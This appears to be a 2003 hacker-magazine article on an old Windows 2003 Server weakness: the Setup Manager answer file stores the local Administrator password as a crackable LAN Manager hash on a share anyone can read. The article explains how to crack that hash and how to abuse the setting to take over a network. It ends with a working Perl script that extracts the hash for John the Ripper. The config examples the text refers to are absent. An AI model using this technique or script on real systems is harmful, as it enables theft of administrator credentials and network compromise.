Holes in Windows 2003 Serverby Joseph B. Zekany
This article is written to help all of the Windows system administrators who are thinking of deploying Windows 2003 Server. Along with all the new improvements, Microsoft has made with this release of Windows, some things stay the same. Microsoft has made some improvements in security for those administrators using Setup Manager for remote system deployment. Or did they?
Setup Manager program is used to create an unattended answer file used with Remote Installation Service to deploy Windows XP Professional desktops and .NET servers throughout enterprise networks. When you run SETUPMGR.EXE the program starts an easy to follow wizard that asks you for all of the information needed to install Windows XP Professional or Windows 2003 Server and puts this information in a file with a ".SIF" extension. The default name is REMBOOT.SIF. This file will be used by Remote Installation Service after the client has downloaded all of the files needed to install Windows. When the setup begins it will use the REMBOOT.SIF file associated with the Windows image stored on the server and provides the answers you gave the Setup Wizard. This can make life for a system administrator a lot easier - or a big hassle.
The REMBOOT.SIF is a simple text file that is similar to the WIN.INI and SYSTEM.INI files in previous versions of Windows. It has several blocks of data broken down into the following sections:
In the version of Setup Manager that came with Windows 2000 Server, the block [GuiUnattended] had the following directives:
The AdminPassword directive is used to set the local Administrator password on the machine being setup. This password is stored in clear text in the file. This file is stored in a shared directory that can be read by everybody, leaving the network wide open to even low-level users who are sharp enough to search for it.
The Change
Microsoft has changed the AdminPassword directive in the Setup Manager that ships with Windows 2003 Server to include an option to encrypt the Administrator password. This is a great idea, or is it?
This is what the GuiUnattended directive looks like in a REMBOOT.SIF file from Windows 2000:
This is what the GuiUnattended directive looks like in a REMBOOT.SIF file from Windows 2003 Server:
Now when that low-level user searches for this file, he/she will only find the encrypted password. This gives less experienced administrators a false sense of security.
The Issue
This is were the fun starts. All Microsoft has done is raise the bar a bit. If you know your hash, as I'm sure you do, you'll see this is a LAN Manager hash! This will keep your more remedial users at bay, but not the readers of 2600.
I found if I reformatted the AdminPassword string and saved it to a new text file that I could feed it to my openMosix cluser running John the Ripper and, voilà! I had the local administrator password.
How To
The easiest way to format the hash is with the xpgrab.pl utility:
Say you have a kiddie bent on mischief. All he/she has to do is change the directive telling the setup program not to use encryption but to keep the encrypted string. This would look like this:
That way the new password would be the encrypted string, which would in all likelihood be more secure. This would make it hard for local administrators, to say the least. This could also be a good way to own a network. You could also use Setup Manager to encrypt you favorite passwords so you can do a simple compare against the hash found on the server and the one you encrypted using Setup Manager. It would be slow, but hey, never say never...
Conclusion
Microsoft has gone to great lengths to protect the LAN Manager hash stored in the SAM and Active Directory. This is done with Syskey which encrypts this information using 128-bit key encryption. In the past, you had to have an interactive login token (logged on to the server console), with administrator privileges and a tool like PWDUMP2 to get this information.
The PWDUMP2 tool will not work if you are logged in via the remote desktop that has taken the place of the Windows 2000 Terminal Server remote administration mode. Leaving this key out defeats the very purpose of 'syskeying' the SAM and Active Directory in the first place.
I hope this information will help the readers of 2600 as well as the hacking community.
Credits/Sources
Solar Designer for John the Ripper
Microsoft Windows 2000 Server - Administrator's Companion
Setup Manager online help
Todd Sabain for PWDUMP2
All of the hackers for the openMosix project
William T. Stafford and the rest of the cSd crew
#!/usr/bin/perl # Script Name:xpgrab # Script Version: 0.01 # Date: 02/27/2003 # Written by: Joseph B. Zekany (aka Zucchini) # NOTE: # If you are going to run this program in windoz add a .pl extension. # For example (xpgrab.pl) # Revision History: # 0.01: Original Version # ----------------------------------------------------------------------------- $file = $ARGV[0]; if ($file) { open (FILE, "$file") || die "Could not open $file for reading please check if the file exists:\n $!"; @info = <FILE>; close (FILE); for ($i = 0; $i < @info; $i++) { if ($info[$i] =~ /\bAdminPassword/) { @xphash = split("", $info[$i]); @xphash1 = @xphash[18 .. 49]; @xphash2 = @xphash[50 .. 83]; $xphash1 = join("", @xphash1); $xphash2 = join("", @xphash2); $xphash = "Administrator: 500:$xphash1:$xphash2\:::"; open (HASH, "> xphash.txt") || die "Could not open file for writiing: $!"; print HASH $xphash; close (HASH); print "\n\nThe Lan Manager hash has been recovered, and is now\n"; print "stored in a file named xphash.txt in the local directory.\n"; print "It is now ready to be sent to John "; print "for further processing.;^)\n\n"; } } } else { print "Written by:\n\t\tJoseph B. Zekany\n"; print "Date:\n\t\t02/27/2003\n"; print "Usage:\n\t\txpgrab <remboot.sif>\n\n"; }Code: xpgrab.pl